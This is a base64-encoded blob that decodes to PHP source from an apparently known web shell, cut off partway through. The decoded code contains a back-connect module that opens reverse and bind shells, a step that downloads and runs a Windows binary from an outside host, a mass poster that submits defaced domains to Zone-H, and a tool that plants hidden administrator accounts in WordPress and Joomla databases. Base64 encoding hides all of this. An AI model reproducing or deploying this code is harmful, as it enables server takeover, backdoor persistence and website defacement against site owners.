VArRDRKTTlCRzZUMDRiQ3d6Nnd3NEFCSFpiZXVod1VoYkcxMnJJZzBYR0NOUHZ0b3o3c3Vtc3ZQZGlXeUNmeThaR3liSFJya1AzaGU1N0xObjkzYzNraEp5WUY2RzJYRjdyYjFGSXdVWE5yR2E5My9BNTRjN3E4bUdrajl4eUJXZVJJZ0oxVXZJNHdqUXdPQ0dwcjJWMWxnRzhkZmp6d1hla09WMGoyaGtsN00zWGRkdmprYXp2MERNZ2RPR2hNbjUrZHZ6aVFuYkNTTnBlMm9NaCtTY2JDUlRxSFVKOXU5MkNNM01JazdyNlZXMlk2bFdhZTV3ek5NU3htbXlQQy9acHRXTUVVOU14djN5OCtMTmMzd1M4Vk1rRk95dVBLVERkWmRQU1ZyQ0VWSDR2cmpNVllNMktSOTBZaXBKdjU5VndNVUcvZjFaMnQwdEgwYXN5ei80UzM0Q2lxOU50QmdFYlpLZ2JaQ1hKU1VaRVdYRHpjR1M2QXdubXdlNFhxWTcyeFk3N3Noa3VWa241U2xWUW9ONlVOSXJqSzNEajQzTUhQUkxNbFhzblZScW9yV3lYZUpYZnA2bWdSbXJ3RS9HbGFEUWFQYWRMYVhQRUdraXpIOWtmYmcvbktMUkhLcGRyQzRYYVhKcjFVU2Via09jV285RWtDMzVpdGQ5YS83RE9OSEhNengxWVYxRFg3KzF1RnpKUGU5Qzc1RjlyYktPR3FGUStBcklwOUM5dm9HN3RMMUYyOWVRMnF4S29vRnJIOU0zOE5DcHBUaEJKTXJybXhRQnVQdnI5ZUQvMVlnYUZaaXFuc2tHcGlURjJnQWUyNDJKd0wxN0doMGFHWFVGdGcvNU5adnBWTUVFMXF3bnJYWWoxSlBCRkI2am1iOERxL0xnVjdmR1N2ODVuZXdGSzZzaXVuL3NROGp2R3p5MW0ySTNacUg4SGtIMjdIWUtKeEV1QitKM1R3VjZkUU51Q094eVZORXh4QXBEUTRXZnhQa0ZvMHRZdFlNT21zWDFDYk95SkRBb2RlUHFGTDkwZlJMeG1POEVWT1Y4ZTQ5dW5sdUh5UzBiL2VjRFBwT2Y4RCI7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBCYWNrIENvbm5lY3QgfDwvZGl2Pjxicj48YnI+IjsNCmVjaG8gIjxmb3JtIG9uU3VibWl0PVwiZygnY29ubmVjdCcsbnVsbCx0aGlzLnNlbGVjdENiLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLmNibWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+DQo8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPk1laHRvZDo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjYm1ldGhvZCcgb25DaGFuZ2U9J2N0bGJjKHRoaXMpOycgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PG9wdGlvbiB2YWx1ZT0nYmFjayc+UmV2ZXJzZSBTaGVsbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JpbmQnPkJpbmQgUG9ydDwvb3B0aW9uPjwvc2VsZWN0PiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdzZWxlY3RDYic+IjsNCiRjYkFyciA9IGFycmF5KCJwaHAiPT4iUGhwIiwicGVybCI9PiJQZXJsIiwicHl0aG9uIj0+IlB5dGhvbiIsInJ1YnkiPT4iUnVieSIsImMiPT4iQyIsImphdmEiPT4iSmF2YSIsIm5vZGUiPT4iTm9kZUpzIiwiYmN3aW4iPT4iV2luZG93cyIpOw0KZm9yZWFjaCgkY2JBcnIgYXMgJGtleT0+JHZhbCl7ZWNobygiPG9wdGlvbiB2YWx1ZT0neyRrZXl9JyAiLigkR0xPQkFMU1snc3lzJ109PSd3aW4nPydzZWxlY3RlZCc6JycpLiI+eyR2YWx9PC9vcHRpb24+Iik7fQ0KZWNobyAiPC9zZWxlY3Q+IDxkaXYgaWQ9J2JjaXBBY3Rpb24nIHN0eWxlPSdkaXNwbGF5OmlubGluZS1ibG9jazsnPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SVA6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+PC9kaXY+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+UG9ydDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMjAxMic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PHA+PGRpdiBpZD0nYmNTdGF0dXMnPjxzbWFsbD5SdW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyAtbCAtdiAtcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD48L2Rpdj48L3A+PC9jZW50ZXI+PC9iPjwvZm9udD48YnI+IjsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRsYW5nID0gJF9QT1NUWydhbGZhMSddOw0KJGlwID0gJF9QT1NUWydhbGZhMiddOw0KJHBvcnQgPSAkX1BPU1RbJ2FsZmEzJ107DQokYXJnID0gKCRfUE9TVFsnYWxmYTQnXT09J2JpbmQnPyRwb3J0OiRwb3J0LicgJy4kaXApOw0KJHRtcGRpciA9IEFMRkFfVEVNUERJUjsNCiRuYW1lID0gJHRtcGRpci4nLycuJGxhbmcudW5pcWlkKCkucmFuZCgxLDk5OTk5KTsNCiRhbGxvdyA9IGFycmF5KCdwZXJsJywncnVieScsJ3B5dGhvbicsJ25vZGUnKTsNCmV2YWwoJyRsYW49JCcuJGxhbmcuJzsnKTsNCmlmKGluX2FycmF5KCRsYW5nLCRhbGxvdykpew0KaWYoX193cml0ZV9maWxlKCRuYW1lLF9fZ2V0X3Jlc291cmNlKCRsYW4pKSl7DQppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCiRvcyA9ICgkR0xPQkFMU1snc3lzJ10hPSd3aW4nKT8nMT4vZGV2L251bGwgMj4mMSAmJzonJzsNCiRvdXQgPSBhbGZhRXgoIiRsYW5nICRuYW1lICRhcmcgJG9zIik7DQppZigkb3V0PT0nJyl7JG91dD0iPGZvbnQgY29sb3I9J2dyZWVuJz48Y2VudGVyPlsgRmluaXNoZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+Ijt9DQplY2hvKCI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+eyRvdXR9PC9wcmU+Iik7DQp9DQp9ZWxzZXsNCmVjaG8oIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGZvbnQgY29sb3I9J3JlZCc+PGNlbnRlcj5bIEZhaWxlZC4uLiEgXTwvY2VudGVyPjwvZm9udD48L3ByZT4iKTsNCn0NCn0NCmlmKCRsYW5nPT0namF2YSd8fCRsYW5nPT0nYycpew0KJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsNCiRvdXQgPSBubDJicihiY2luaXQoJGxhbmcsICRjb2RlLCcnLCcnKSk7DQplY2hvKCI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxjZW50ZXI+eyRvdXR9PC9jZW50ZXI+PC9wcmU+Iik7DQp9DQppZigkbGFuZz09J2Jjd2luJyl7DQokYWxmYSA9IG5ldyBBbGZhQ1VSTCgpOw0KJHMgPSAkYWxmYS0+U2VuZCgnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9iYy93aW5kb3dzLmV4ZScpOw0KJHRtcGRpciA9IEFMRkFfVEVNUERJUjsNCiRmID0gQGZvcGVuKCR0bXBkaXIuJy9iY3dpbi5leGUnLCd3KycpOw0KQGZ3cml0ZSgkZiwgJHMpOw0KQGZjbG9zZSgkZik7DQokb3V0ID0gYWxmYUV4KCR0bXBkaXIuIi9iY3dpbi5leGUgIi4kX1BPU1RbJ2FsZmEyJ10uIiAiLiRfUE9TVFsnYWxmYTMnXSk7DQp9DQppZigkbGFuZz09J3BocCcpew0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4iOw0KJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsNCmlmKCRjb2RlIT09ZmFsc2Upew0KJGNvZGUgPSAiXCR0YXJnZXQgPSBcIiIuJGFyZy4iXCI7XG4iLiRjb2RlOw0KZXZhbCgkY29kZSk7DQplY2hvKCI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+WyBGaW5pc2hlZC4uLiEgXTwvZm9udD48L2NlbnRlcj4iKTsNCn0NCmVjaG8gIjwvcHJlPiI7DQp9DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXpvbmVoKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKXsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGI+PGJpZz48YmlnPlBIUCBDVVJMIE5PVCBFWElTVCB+IFpPTkUgSCBNQVNTIFBPU1RFUiBET0VTIE5PVCBXT1JLPC9iPjwvZm9udD48L2JpZz48L2JpZz48L2NlbnRlcj48L3ByZT4iOw0KfQ0KJGhhY2ttb2RlID0gYXJyYXkoJ2tub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSknLCd1bmRpc2Nsb3NlZCAobmV3KSB2dWxuZXJhYmlsaXR5JywnY29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlJywnYnJ1dGUgZm9yY2UgYXR0YWNrJywnc29jaWFsIGVuZ2luZWVyaW5nJywnV2ViIFNlcnZlciBpbnRydXNpb24nLCdXZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb24nLCdNYWlsIFNlcnZlciBpbnRydXNpb24nLCdGVFAgU2VydmVyIGludHJ1c2lvbicsJ1NTSCBTZXJ2ZXIgaW50cnVzaW9uJywnVGVsbmV0IFNlcnZlciBpbnRydXNpb24nLCdSUEMgU2VydmVyIGludHJ1c2lvbicsJ1NoYXJlcyBtaXNjb25maWd1cmF0aW9uJywnT3RoZXIgU2VydmVyIGludHJ1c2lvbicsJ1NRTCBJbmplY3Rpb24nLCdVUkwgUG9pc29uaW5nJywnRmlsZSBJbmNsdXNpb24nLCdPdGhlciBXZWIgQXBwbGljYXRpb24gYnVnJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBzb2NpYWwgZW5naW5lZXJpbmcnLCdBdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKScsJ0FjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjaycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZScsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsJywnUmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyJywnRE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZycsJ0ROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmcnLCdOb3QgYXZhaWxhYmxlJywnQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcnKTsNCiRyZWFzb24gPSBhcnJheSgnSGVoLi4uanVzdCBmb3IgZnVuIScsJ1JldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGUnLCdQb2xpdGljYWwgcmVhc29ucycsJ0FzIGEgY2hhbGxlbmdlJywnSSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcicsJ1BhdHJpb3Rpc20nLCdOb3QgYXZhaWxhYmxlJyk7DQplY2hvICcNCjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFpvbmUtaCBNYXNzIFBvc3RlciB8PC9kaXY+PGNlbnRlcj48YnI+DQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ3pvbmVoXCcsbnVsbCx0aGlzLmRlZmFjZXIudmFsdWUsdGhpcy5oYWNrbW9kZS52YWx1ZSx0aGlzLnJlYXNvbi52YWx1ZSx0aGlzLmRvbWFpbi52YWx1ZSxcJz4+XCcpOyByZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZhY2VyIiBzaXplPSI2NyIgaWQ9InRleHQiIHBsYWNlaG9sZGVyPSJVQ0VOIEhBWE9SIiAvPg0KPGJyPg0KPHNlbGVjdCBpZD0idGV4dCIgbmFtZT0iaGFja21vZGUiIHN0eWxlPSJ3aWR0aDo0MDBweDsiPic7DQokeD0xOw0KZm9yZWFjaCgkaGFja21vZGUgYXMgJG1vZGUpe2VjaG8oJzxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSInLiR4LiciPicuJG1vZGUuJzwvb3B0aW9uPicpOyR4Kys7fQ0KZWNobyAnPC9zZWxlY3Q+PGJyPjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9InJlYXNvbiIgc3R5bGU9IndpZHRoOjIwMHB4OyI+JzsNCiR4PTE7DQpmb3JlYWNoKCRyZWFzb24gYXMgJG1vZGUpe2VjaG8oJzxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSInLiR4LiciPicuJG1vZGUuJzwvb3B0aW9uPicpOyR4Kys7fQ0KZWNobyAnPC9zZWxlY3Q+PGJyPg0KPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY29scz0iOTAiIHJvd3M9IjIwIiBwbGFjZWhvbGRlcj0iRG9tYWlucy4uLiI+PC90ZXh0YXJlYT48YnI+DQo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9wPg0KPC9mb3JtPjwvY2VudGVyPic7DQppZigkX1BPU1RbJ2FsZmE1J10gJiYgJF9QT1NUWydhbGZhNSddID09ICc+Picpew0Kb2Jfc3RhcnQoKTsNCiRoYWNrZXIgPSAkX1BPU1RbJ2FsZmExJ107DQokbWV0aG9kID0gJF9QT1NUWydhbGZhMiddOw0KJG5lZGVuID0gJF9QT1NUWydhbGZhMyddOw0KJHNpdGUgPSAkX1BPU1RbJ2FsZmE0J107DQppZihlbXB0eSgkaGFja2VyKSl7DQpkaWUgKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBGSUxMIFRIRSBBVFRBQ0tFUiBOQU1FIFsrXTwvZm9udD48L2I+PC9jZW50ZXI+Iik7DQp9ZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsNCmRpZShfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvZm9udD48L2NlbnRlcj4iKTsNCn1lbHNlaWYoJG5lZGVuID09ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIil7DQpkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIFNFTEVDVCBUSEUgUkVBU09OIFsrXTwvYj48L2ZvbnQ+PC9jZW50ZXI+Iik7DQp9ZWxzZWlmKGVtcHR5KCRzaXRlKSl7DQpkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIElOVEVSIFRIRSBTSVRFUyBMSVNUIFsrXTxmb250PjwvYj48L2NlbnRlcj4iKTsNCn0NCiRpID0gMDsNCiRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGUpOw0KJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsNCndoaWxlKCRpIDwgY291bnQoJHNpdGVzKSl7DQppZihzdWJzdHIoJHNpdGVzWyRpXSwgMCwgNCkgIT0gImh0dHAiKXsNCiRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsNCn0NCiRhbGZhLT5TZW5kKCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIsInBvc3QiLCJkZWZhY2VyPSIuJGhhY2tlci4iJmRvbWFpbjE9Ii4gJHNpdGVzWyRpXS4iJmhhY2ttb2RlPSIuJG1ldGhvZC4iJnJlYXNvbj0iLiRuZWRlbik7DQorKyRpOw0KfQ0KZWNobyBfX3ByZSgpLiI8Y2VudGVyPjxmb250IGNvbG9yID1cIiMwMEEyMjBcIj48Yj5bK10gU2VuZGluZyBTaXRlcyBUbyBab25lLUggSGFzIEJlZW4gQ29tcGxldGVkIFN1Y2Nlc3NmdWxseSAhISFbK108L2I+PGZvbnQ+PC9jZW50ZXI+IjsNCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhcHdjaGFuZ2VyKCl7DQphbGZhaGVhZCgpOw0KDQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBZGQgTmV3IEFkbWluIHw8L2Rpdj4NCjxjZW50ZXI+PGgzPic7DQokdmFscyA9IGFycmF5KCdXb3JkUHJlc3MnID0+IGFycmF5KCd3cCcsMiksJ0pvb21sYScgPT4gYXJyYXkoJ2pvb21sYScsMyksJ3ZCdWxsZXRpbicgPT4gYXJyYXkoJ3ZiJyw1KSwncGhwQkInID0+IGFycmF5KCdwaHBiYicsNiksJ1dITUNTJyA9PiBhcnJheSgnd2htY3MnLDcpLCdNeUJCJyA9PiBhcnJheSgnbXliYicsOCksJ1BocCBOdWtlJyA9PiBhcnJheSgnbnVrZScsOSksJ0RydXBhbCcgPT4gYXJyYXkoJ2RydXBhbCcsMTApLCdTTUYnID0+IGFycmF5KCdzbWYnLDExKSk7DQpBbGZhX0NyZWF0ZV9BX1RhZygncHdjaGFuZ2VyJywkdmFscyk7DQplY2hvICc8L2gzPjwvY2VudGVyPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd3cCcpew0KDQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBXb3JkUHJlc3MgfDwvZGl2Pg0KPHA+Jy5nZXRDb25maWdIdG1sKCd3cCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnd3BcJyxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCdpZCc9PidkYl9ob3N0JywgJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ3dwXycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDYnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICdraCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLA0KICd0ZDgnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPic7DQppZiAoJF9QT1NUWydhbGZhMiddICYmICRfUE9TVFsnYWxmYTInXSA9PSAnPj4nKXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107DQokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmE0J107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107DQokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcnMgKElELHVzZXJfbG9naW4sdXNlcl9wYXNzLHVzZXJfZW1haWwpIHZhbHVlcyhudWxsLCckYWRtaW4nLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScsJyRTUUwnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGUgPSBAbXlzcWxpX251bV9yb3dzKCRzb2xldmlzaWJsZSk7DQppZiAoJHNvbGUgPT0gMSl7DQokc29sZXZpcyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsNCiRyZXMgPSAkc29sZXZpc1snSUQnXTsNCn0NCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2xhc3RfbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnbmlja25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdyaWNoX2VkaXRpbmcnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnY29tbWVudF9zaG9ydGN1dHMnLCdmYWxzZScpLChudWxsLCciLiRyZXMuIicsJ2FkbWluX2NvbG9yJywnZnJlc2gnKSwobnVsbCwnIi4kcmVzLiInLCd1c2Vfc3NsJywnMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfYWRtaW5fYmFyX2Zyb250JywndHJ1ZScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4iY2FwYWJpbGl0aWVzJywnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO2I6MTt9JyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJ1c2VyX2xldmVsJywnMTAnKSwobnVsbCwnIi4kcmVzLiInLCdzaG93X3dlbGNvbWVfcGFuZWwnLCcxJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJkYXNoYm9hcmRfcXVpY2tfcHJlc3NfbGFzdF9wb3N0X2lkJywnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMiddICYmICRfUE9TVFsnYWxmYTInXSA9PSAnam9vbWxhJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEpvb21sYSB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdqb29tbGEnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsXCdqb29tbGFcJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOw0KJHRhYmxlID0gYXJyYXk